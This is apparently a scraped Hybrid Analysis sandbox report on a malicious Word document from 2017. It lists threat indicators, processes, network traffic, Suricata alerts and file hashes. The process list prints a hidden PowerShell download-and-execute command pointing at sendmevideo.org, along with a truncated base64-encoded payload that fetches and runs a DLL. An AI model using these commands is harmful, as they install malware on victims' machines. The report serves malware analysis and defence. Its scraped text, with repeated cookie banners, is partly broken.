

759fb4c0091a78c5ee035715afe3084686a8493f39014a...

malicious

This report is generated from a file or URL submitted to this webservice on November 2nd 2017
14:06:32 (UTC)

Guest System: Windows 7 32 bit, Home Premium, 6.1 (build 7601),

Service Pack 1, Office 2010 v14.0.4

Report generated by Falcon Sandbox © Hybrid Analysis

Threat Score: 100/100

AV Detection: 65%

Labeled as: Trojan.Generic

#dde

#exploit

✕ Post

🔗 Link

📧 E-Mail

🔗 Overview

🔒 Sample unavailable

📄 Downloads

📄 External Reports

🔄 Re-analyze

🔒 Hash Not Seen Before

🔒 No similar samples

📄 Report False-Positive

Incident Response

👁 Risk Assessment

Stealer/Phishing	Scans for artifacts that may help identify the target
Persistence	Writes data to a remote process
Fingerprint	Reads the active computer name Reads the cryptographic machine GUID Reads the windows installation date Scans for artifacts that may help identify the target
Network Behavior	Contacts 2 domains and 3 hosts. 🔍 View all details

Indicators

🔍 Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Malicious Indicators

10

Exploit/Shellcode

Possible document exploit detected



External Systems

Detected Emerging Threats Alert



Sample was identified as malicious by a large number of Antivirus engines



Sample was identified as malicious by at least one Antivirus engine



General

GETs files from a webserver



Network Related

Malicious artifacts seen in the context of a contacted host



Pattern Matching

À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

[Paramètres des cookies](#)

Tout refuser










Autoriser tous les cookies

HYBRID ANALYSIS

Informative	21
-------------	----

À PROPOS DES COOKIES SUR CE SITE


En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

 <div><div> ▾</div><div> ▾</div><div></div><div> ▾</div><div><div> Request Info</div><div>▾</div></div></div> <div><div></div><div><div></div><div></div></div></div>	<div>Detected Emerging Threats Alert ▾</div> <div>General</div> <div>Accesses Software Policy Settings ▾</div> <div>Accesses System Certificates Settings ▾</div> <div>Contacts domains ▾</div> <div>Contacts server ▾</div> <div>Creates mutants ▾</div> <div>Loads rich edit control libraries ▾</div> <div>Loads the .NET runtime environment ▾</div> <div>Process launched with changed environment ▾</div> <div>Reads Windows Trust Settings ▾</div> <div>Scanning for window names ▾</div> <div>Spawns new processes ▾</div> <div>Installation/Persistence</div> <div>Creates new processes ▾</div> <div>Dropped files ▾</div> <div>Opens the MountPointManager (often used to detect additional infection locations) ▾</div> <div>Touches files in the Windows directory ▾</div> <div>Network Related</div> <div>Found potential URL in binary/memory ▾</div> <div>Spyware/Information Retrieval</div> <div>Found a reference to a known community page ▾</div> <div>System Security</div> <div>Hooks API calls ▾</div> <div>Unusual Characteristics</div> <div>Reads information about supported languages ▾</div>
---	--

File Details

All Details:

Off

 759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx

À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

Request Info

Resources

Visualization

Icon

Input File (PortEx)

Classification (TrID)

- 88.7% (.DOCX) Word Microsoft Office Open XML Format document
- 11.2% (.ZIP) ZIP compressed archive

Screenshots

Show more

Hybrid Analysis



Tip: Click an analysed process below to view more details.

Analysed 4 processes in total (System Resource Monitor).

- WINWORD.EXE /n "C:\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx" (PID: 3996)
 - powershell.exe C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -Nonl -W Hidden \$e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc \$e # .EXE a (PID: 2460, Additional Context: System.Net.WebClient.DownlodString('http://sendmevideo.org/dh2025e/eee.txt');powershell;)
 - powershell.exe -enc JABXAD0ATgBIAHcALQBPAGIAagBIAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBIAHQALgBXAGUAYgBDAGwAaQBIAG4AdAA7AA0ACgAkAHAAPQAoACQARQBuAHYAOgBBAEwATABVAFMARQBBSAFMAUABSABSAE8ARgBJAEwARQArACIAXABtAHYAZABYAHQALgBkAGwAbAAiACkAOwANAAoAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBIAHIA dgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8ABgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQA c gB1AGUAfQA7AA0ACgAkAFcALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQA cAA6AC8ALwBzAGUAbgBkAG0AZQB2AGkAZABIAg8ALgBvAHIAZwAvAGQAaAAyADAA MgA1AGUALwBIAgGALgBkAGwAbAAiACwAJABwACkAOwANAAoAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQA cAApAHsADQAKACQA c gBkAF8AcAA9ACQARQB uAHYAOgBTAFkAUwBUAEUATQBSAE8ATwBUACsAlgBcAFMAeQBzAHQA ZQBtADMAMgBcAHIA dQB uAGQA bABsADMAMgAuAGUAeABIACIAOwANAAoAJABwAF8AYQA9ACQA cAArACIALAAjADEAlgA7AA0ACgAkAHAACgA9AFMAdABhAHIA dAA tAFAA c gBvAGMAZQBzAHMAIAA kAHIAZABfAHAAIAAtAEEAcgBnAHUAbQBIAG4AdABMAGkAcwB0ACAAJABwAF8AYQA7AA0ACgAkAHAAXwBiAGEAdAA9ACgAJABFAG4AdgA6AEEATABM AFUAUwBF AFIAUwBQAFIATwBGA EKATABFACsAlgBcAG0AdgBkAHIA dAAuAGIAYQB0ACIAKQA7AA0ACgAkAHQA ZQB4AHQAPQAnAHMAZQB0ACAAaQB uAHMA dABfAHAA YwBrACAAPQA gACIAJQBBAEwATABVAFMARQBBSAFMAUABSABSAE8ARgBJAEwARQAIAFWAbQB2AGQA c gB0AC4AZABsAGwAlgAnACsAlgBgAHIA YABuACIAKwAnAGkAZgAgAE4ATwBUACA AZQB4AGkAcwB0ACAAJQBpAG4AcwB0AF8ACABjAGsAIAAIACAAKABIAHgAaQB0ACkALwArACIA YABvAGAAAbgAiACsALwBzAHQA YQRBvAHQAIA BvAHIA b gBkAGwAb


À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

<div><div><div><div>Request Info</div></div></div><div><div><div></div><div></div><div></div><div></div></div></div></div>				<div><div>More Details</div></div>
86.106.93.113:80 (sendmevideo.org)	GET	sendmevideo.org/dh2025e/eh.dll	GET /dh2025e/eh.dll HTTP/1.1 Host: sendmevideo.org Connection: Keep-Alive  200 OK	<div><div>More Details</div></div>

Suricata Alerts

Event	Category	Description	SID
86.106.93.113 -> local:63543 (TCP)	Misc activity	ET INFO Packed Executable Download	2014819
86.106.93.113 -> local:63543 (TCP)	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP	2018959
86.106.93.113 -> local:63543 (TCP)	Potentially Bad Traffic	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	2016538

 ET rules applied using Suricata. Find out more about proofpoint ET Intelligence [here](#).

Extracted Strings



Search

All Details:

Off

 Download All Memory Strings (8.3KiB)

- All Strings (614)Interesting (198)network.pcap (243)~WRD0000.tmp (68)rundll32.exe (1)
- WINWORD.EXE:3996 (221)carved_0.dll.15096285135...screen_6.png (13)powershell.exe (2)
- ~WRD0002.tmp (3)PCAP (3)WINWORD.EXE (1)screen_3.png (14)VRzZ5.vnd[1].txt (1)
- 00040970-00001420 (1)screen_0.png (1)rundll32.exe:1968 (21)mvdrt.bat (4)
- 00040140-00002460 (1)
- \$5caa`= &!Cd,E.y6CnHgso_?V_Nw,{5lq{Bl(p_cdS|&PO\UbHcK)KjVkusD2P
- \$http://g.symcb.com/crls/gtglobal.crl0!
- %?nu gPK!/]N word/theme/theme1.xmlY;4.[?%y
- %PROGRAMFILES%\Microsoft Office\Office14\wwlib.dll
-)http://crl.geotrust.com/crls/secureca.crl0N
- *.android.com
- *.appengine.google.com
- *.cloud.google.com
- *.db833953.google.cn
- *.gcp.gvt2.com
- *.google-analytics.com
- *.google.ca

Extracted Files

 Displaying 22 extracted file(s). The remaining 8 file(s) are available in the full version and

À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

HYBRID ANALYSIS

Request Info

OverviewDownload DisabledExtended File DetailsExtracted StreamsHash Not Seen Before

Size

32KiB (32256 bytes)

Type

pedllexecutable

Description

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Runtime Process

powershell.exe (PID: 1420)

MD5

1c6f8eba504f2f429abf362626545c79

SHA1

ab354807e687993fbeb1b325eb6e4ab38d428a1e

SHA256

3ac11a74275725a22c233cd974229d2b167c336da667410f7262b4926dabd31b

carved_0.dll

OverviewDownload DisabledExtracted StreamsHash Not Seen Before

Size

32KiB (32256 bytes)

Type

pedllexecutable

Description

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Context

sendmevideo.org

MD5

1c6f8eba504f2f429abf362626545c79

SHA1

ab354807e687993fbeb1b325eb6e4ab38d428a1e

SHA256

3ac11a74275725a22c233cd974229d2b167c336da667410f7262b4926dabd31b

Informative20

mvdrt.bat

Download DisabledHash Not Seen Before

Size

112B (112 bytes)

Type

text

Description

ASCII text, with CRLF line terminators

Runtime Process

powershell.exe (PID: 1420)

MD5

a3a550cd29ecf1ffa7cf2920f4be543c

SHA1

6ef7de33cb8b34e4b80eebaec49910d389046d3f

SHA256

7ece2a9bb6e4690126ae90bdcd4e02ac05685047c5ba0a011ddcb6f95c3fa6da

759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.LNK

Download DisabledHash Not Seen Before

Size

738B (738 bytes)

Type

Ink

Description

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 2 13:08:22 2017, mtime=Thu Nov 2 17:47:17 2017, atime=Thu Nov 2 17:47:18 2017, length=13185, window=hide

Runtime Process

WINWORD.EXE (PID: 3996)

MD5

be42f09943ce1cc5047e11494247201f

SHA1

fd43a8876ca72e20dc6222fff32eae51630bf922

SHA256

76b6d4f1c82f8aefd737808840edf40354c336e8ba0550c50f51c6c0c10308c5

~\$Normal.dotm

Download DisabledHash Not Seen Before

Size

162B (162 bytes)

Type

data

Runtime Process

WINWORD.EXE (PID: 3996)

MD5

765c22b82b755fcfd7ed47b97ae5dae

SHA1


611101f50f7111171701c500040161c02650001

SHA256


611101f50f7111171701c500040161c02650001

À PROPOS DES COOKIES SUR CE SITE


En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. Politique d'utilisation des cookies





HYBRID
ANALYSIS





Request Info







 6XYB45E3V9BXA69467UK.temp

 5Vqlj[1].txt

Download Disabled

Hash Seen Before

Size

69B (69 bytes)

Type

text

Description


ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)


MD5

a0eac91ee2b09b1ec8bcae438fac0fc8




SHA1


e2fe81fcaefcb4a98cc08de6cb7efa34273726cd



SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2



 9igAhnH[1].txt

Download Disabled

Hash Seen Before

Size

69B (69 bytes)

Type

text

Description


ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)


MD5

a0eac91ee2b09b1ec8bcae438fac0fc8




SHA1


e2fe81fcaefcb4a98cc08de6cb7efa34273726cd



SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2



 IBG0sw[1].txt

Download Disabled

Hash Seen Before

Size

69B (69 bytes)

Type

text

Description


ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)


MD5

a0eac91ee2b09b1ec8bcae438fac0fc8




SHA1


e2fe81fcaefcb4a98cc08de6cb7efa34273726cd



SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2



 Kn[1].txt

Download Disabled

Hash Seen Before

Size

69B (69 bytes)

Type

text

Description


ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)


MD5

a0eac91ee2b09b1ec8bcae438fac0fc8




SHA1


e2fe81fcaefcb4a98cc08de6cb7efa34273726cd



SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2



 TLSMSL[1].txt

Download Disabled

Hash Seen Before

Size

69B (69 bytes)

Type

text

Description

ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)

À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

Page 8 of 10

HYBRID ANALYSIS

📁

📄

📄

📁

🔍 Request Info

🔍

✕

▼

⬇️ Download Disabled

🔒 Hash Seen Before

Size

69B (69 bytes)

Type

text

Description

ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)

MD5

a0eac91ee2b09blec8bcae438fac0fc8

📋

SHA1

e2fe81fcaefcb4a98cc08de6cb7efa34273726cd

📋

SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2

📋

📄 j[1].txt

⬆️

⬇️ Download Disabled

🔒 Hash Seen Before

Size

69B (69 bytes)

Type

text

Description

ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)

MD5

a0eac91ee2b09blec8bcae438fac0fc8

📋

SHA1

e2fe81fcaefcb4a98cc08de6cb7efa34273726cd

📋

SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2

📋

📄 sNSv.vnd.etsi[1].txt

⬆️

⬇️ Download Disabled

🔒 Hash Seen Before

Size

69B (69 bytes)

Type

text

Description

ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)

MD5

a0eac91ee2b09blec8bcae438fac0fc8

📋

SHA1

e2fe81fcaefcb4a98cc08de6cb7efa34273726cd

📋

SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2

📋

📄 wY6U6e[1].txt

⬆️

⬇️ Download Disabled

🔒 Hash Seen Before

Size

69B (69 bytes)

Type

text

Description

ASCII text, with no line terminators

Runtime Process

rundll32.exe (PID: 1968)

MD5

a0eac91ee2b09blec8bcae438fac0fc8

📋

SHA1

e2fe81fcaefcb4a98cc08de6cb7efa34273726cd

📋

SHA256

025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2

📋

📄 ~WRS{3147DD3C-8AE0-4C18-B784-2B1DFD761C56}.tmp

⬆️

⬇️ Download Disabled

🔒 Hash Seen Before

Size

2.1KiB (2168 bytes)

Type

unknown

Description

FoxPro FPT, blocks size 0, next free block index 218103808, 1st used item "\"375"

Runtime Process

WINWORD.EXE (PID: 3996)

MD5

474297e9e92801128407b7c46517bd71

📋

SHA1

48d8d95d3fc27f54012f6b413037c9819f24722c

📋

SHA256

367b5aa09b488ffa37d65c11941f26da15036f20053a1ff822647dd76c5e33c7

📋

À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)

HYBRID ANALYSIS

Request Info

MD5

5d4d94ee7e06bbb0af9584119797b23a

SHA1

dbb111419c704f116efa8e72471dd83e86e49677

SHA256

4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1

94308059B57B3142E455B38A6EB92015

Overview

Download Disabled

Hash Seen Before

Size

53KiB (53978 bytes)

Type

data

Description

Microsoft Cabinet archive data, 53978 bytes, 1 file

Runtime Process

rundll32.exe (PID: 1968)

MD5

03f9e1f45c0d5fe8e08af7449ba1fa2f

SHA1

da545c3133a914434cce940bae78d8ad180a529a

SHA256

677ffb54bd3cc0e2e66eccaf2f6e6c8e1050286516e4f2ef984a3a3673ccc311

Cab7CC9.tmp

Overview

Download Disabled

Hash Seen Before

Size

50KiB (50939 bytes)

Type

data

Description

Microsoft Cabinet archive data, 50939 bytes, 1 file

Runtime Process

rundll32.exe (PID: 1968)

MD5

41f958d2d3e9ed4504b6a8863fd72b49

SHA1

f6d380b256b0e66ef347adc78195fd0f228b3e33

SHA256


c929701c67a05f90827563eedccf5eba8e65b2da970189a0371f28cd896708b8


~\$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx

Notifications

Runtime ▼

Community

 There are no community comments.

 You must be [logged in](#) to submit a comment.

À PROPOS DES COOKIES SUR CE SITE

En cliquant sur « Accepter tous les cookies », vous consentez au stockage de cookies sur votre appareil afin de nous permettre d'améliorer la navigation du site, d'analyser l'utilisation du site et d'optimiser nos initiatives marketing. [Politique d'utilisation des cookies](#)